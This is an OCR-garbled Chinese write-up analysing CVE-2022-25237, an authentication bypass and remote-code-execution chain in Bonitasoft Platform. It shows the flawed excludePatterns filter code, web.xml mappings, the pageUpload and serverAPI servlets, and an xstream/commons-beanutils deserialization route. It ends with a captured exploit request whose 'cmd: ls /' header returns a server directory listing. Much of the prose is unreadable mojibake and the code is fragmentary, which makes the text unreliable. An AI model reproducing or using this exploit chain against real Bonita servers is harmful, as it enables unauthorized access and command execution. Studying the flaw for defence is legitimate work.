CVE-2022-25237 Bonitasoft Platform MiAMESETEIFR L
R E 5L R AR Z bk

RRER
Bonitasoft M Dockerhub T#i8id 500 H)X, ER—TWEBMLFER, AUERMtESRiETRE. BENEES
N FBRE .

CVE-2022-25237 Bonitasoft Platform fZ7£ Auth AP | IAESSOERIE, @I FE0M91&E payload &IXEZFFFIHAINEER AP
URL, AISFIZfEEHMIT. SEMARAW T :

For community (#£XAR) :
e 2022.1-u0 (7.14.0) AR
For subscription (3TIEAR) :
e 2022.1-u0 (7.14.0) XF
o 2021.2-u4 (7.13.4) LAF
e 2021.1-0307 (7.12.11) AF
o 7117 AT
EPIANESTRER, TR T —EBRNRAFRFIINIRE. THEZESMIERZLAR,

WREE



{£F3 docker IZITM NI AHR %, EE Java #iz:

apache. juli. :
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m.arjuna.ats.arjuna. common. propertiesFil
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case the default is "true"

JAVA_OPTS="-Xdebug erunjdwp:transportzdt_socket,serverzy,suspend=n,address=5@@l'
# 0S specific support. $var _must_ be set to either true or false.

cygwin=false

darwin=false

0s400=False
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5] Remote JVM Debug Name: debug Allow parallel run Store as project file

=, debug

Configuration Logs

Debugger mode: Attach to remote JVM
Host: localhost Port: 5000
Command line arguments for remote JVM:

—agentlib: jdwp=transport=dt_socket,server=y,suspend=n,address=%:5
000
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IFEE “bonita:7.13.0" 1 “bonita:7.14.0° k4, &I ‘bonita:7.14.0° FMIFRT "AbstractAuthorizationFilter’ 2£, 1ZzX{4H £
& ‘Filter” I RINIESRITZEE:

AbstractauthorizationFllter,class 2883 2021/9/22,1...




doFilte

BTN T XEE, £ web.xml® FRRINEIEN T —AMAIERCE -

html</welcome-file>

XNMNEBEFERN /serverAPI/" BRERID BASIC JAIE,

NS RIE

T o iAE, SRIFAREEE RS  AbstractAuthorizationFilter” i3, BEA7E "AbstractAuthorizationFilter” fA3HAR
e 7T MLERBAEE ‘session’, EREDTIIMEEEXF isMatched” A “true” BIFE—1T. ‘requestURL’ NA
&K "URL", “contains’ REERILE THRHESE S excludePatterns’:



sessionIsNotNeeded(String requestURL, String excludePatterns) {
isMatched =

(excludePatterns != ) {

String[] patterns = excludePatterns.split(

l:

size = patterns. i < size; ++i) {
(requestURL.contains(patterns[i])) {
isMatched =

Hrh “excludePatterns” 7E£80 & X4 HMH{E:

<filter>
<filter-name>RestAPIAuthorizationFilter</filter-name>
<filter-class>org.bonitasoft.console.common.server.login.filter.RestAPIAuthorizationFilter</filter-class>
<init-param>
<param-name>excludePatterns</param-name>
<param-value>il8ntranslation</param-value>
</init-param>
</Filter>
<filter>
<filter-name>RestAPIAuth ationFilterToolkit</filter-name>
<filter-class>org.bonitasoft nsole.common. Se .login.filter.RestAPIAuthorizationFilter</filter-class>
<init-param>

BIfE4



</filter>

<filter>

<filter-name>TokenValidatorFilter</filter-name>

<filter-class>org.bonitasoft.console.common.server.login.filter.TokenValidatorFilter</filter-class>

<init-param>
<param-name>excludePatterns</param-name>
"5 =]
<param-value>il8ntranslation, session</param-value> 0 E.uﬁ'ité

</init-param>

FE 3 MNEM Filter” 89 “excludePatterns” T2, MEEE “i18ntranslation’ , “web.xml” XHEFEE 7 BEHAX N
‘Filter' §%, FEXRN “/API/* IREXMN T "RestAPlAuthorizationFilter' , ELEEILAIERE "i18ntranslation’ fERNNFRLSET X5

=

=

<filter-mapping>
<filter-name>TokenValidatorFilter</filter-name>
<url-pattern>/API/*</url-pattern>
<url-pattern>/APIToolkit/*</url-pattern> ¥ Bz

<filter-mapping>

<filter-name>RestAPIAuthorizationFilten</filter-name>




<url-pattern>/APIToolkit/*</url-pattern>
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WRIELERIDHT, FATPIUMAESMESBR URL SEHIALESE
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URL.contains(patterns
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X4 E12% RCE
R[AET Filter INESRT, BEHTFAEREEEXROMERBHAPZTEIIIANLESET, MBRIAFR POC k&, EEFHATE
B RAORNR HEEEAM, #&i0 “servlet' 7 “FileUploadServlet', EFZEWFMNE "url® :



<servlet-mapping>

<servlet-name>pageUploadServliet</serviet-name>

<url-pattern>/portal/pageUpload</url-pattern>

</servlet-mapping>
<servlet-mapping>
<servlet-name>apiPagelUploadServliet</servliet-name

<url-pattern>/API/pageUpload</url-pattern>
%o Brze

</servlet-mapping>

BEFSOTMSER, “FileUploadServiet” 7EXHFAMETIZHEZEIREY "session’ AT “apiSession’ FEg:

defineUploadDirectoryPath(HttpServletRequest request) {
tenantId = .getAPISession(request).getTenantId()
.setUploadDirectoryPath(WebBonitaConstantsUtils.getInstance(tenantId).getTempFold

APISession jpetAPISession(HttpServletRequest request) {
HttpSession session = request.getSession()

-
(APISession)session.getAttribute( ) ?Qﬂﬂﬁ';zé

AMEAE, MRAERE, Session” HfY "apiSession’ FAASHEIEE, REZFERESMWEE., EULLMNREFERIZINEEN N



BERESHAFPEEMN session” 71T, R|FAIFIE /API/pageUpload” EEEERINIE, (BEES Filter NS, EZEA
FTrMiAE, FRAREAEREAN ZABARE ., XRENIZETIELEREE, XEMATZAART, THESD
MR R FSRE .,

RFFIRTE

HNRIENER, EOWEY CVE-2022-25237 uidfzrd, EREIBEATIEM T HMh—LE ‘serviet’ RN, RIE
‘web.xml® BEEfSR, AN /serverAPI/" ESEIXINIAYZE "HttpAPIServiet , KEXRILLIRZEN

‘org.bonitasoft.engine.api.internal.servlet.HttpAPIServlet™ :

<servliet-mapping>

<servliet-name>

<url-pattern>senr

<servliet>
<servlet-name>HttpAPIServliet</servliet-name>
| ine.api. | | Fo 255
<servlet-class>org.bonitasoft.engine.api.internal.servliet.HttpAPIServiet</eq@LiLr e
</servliet>

ENL "doPost’ /5%, ¥ T “this.enabled” L&, ZTE7E docker ZERELIAN false™:




FETE docker BEIRIMMETE, FEEARSSHINERHFETENIME. KETIMETER, KER callHttpApi®
BREL, 1EF W HttpAPIServletCall#tdoPost™ /3%

RBAREERZRFIINIRIE, TEBHE xstream XML RFEFIEH Java BERFIIL:
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BRABGEREWESHEEMINARRFIItRER:

FEINBAREES LI bonitasoft (AT ‘commons-beanutils—1.9.4.jar’, RIS Z/AREBIEIRBINAMKE cc 5589 cb F
FBEFME R, BN%E Tomcat MLEIERE, XUMRFIMHLIHITEIEABMER:

POST /bonita/serverAPI/ HTTP/1.1 1 HTTP/1.l1 200
Host: 1.1.1.1 2 ¥-Frame-Options: SAMECRIGIN
Connection: close 3 ¥—Content-Type-Options: nosniff
Accept-Encoding: gzip, deflate 4 Date: Sun, 29 May 2022 11:55:0& GMT
Accept: */* 5 Connection: close
emd: 1s / & Content-Length: €041
User-Agent: python-recuests/2.27
Content-Type: multipart/form-data; g bin
boundary=———————————————— be080342b71d02Z2E2208158£4 % boot
clblch 10 dewv
Content-Length: £532 11 etc

12 home
-------------------------- he090342b71d022622209158f4clblch 3 1lib
Content-Disposition: form-data; name="binaryParameter" 14 1ibE4
Content-Type: application/octet-stream 15 media

i =P
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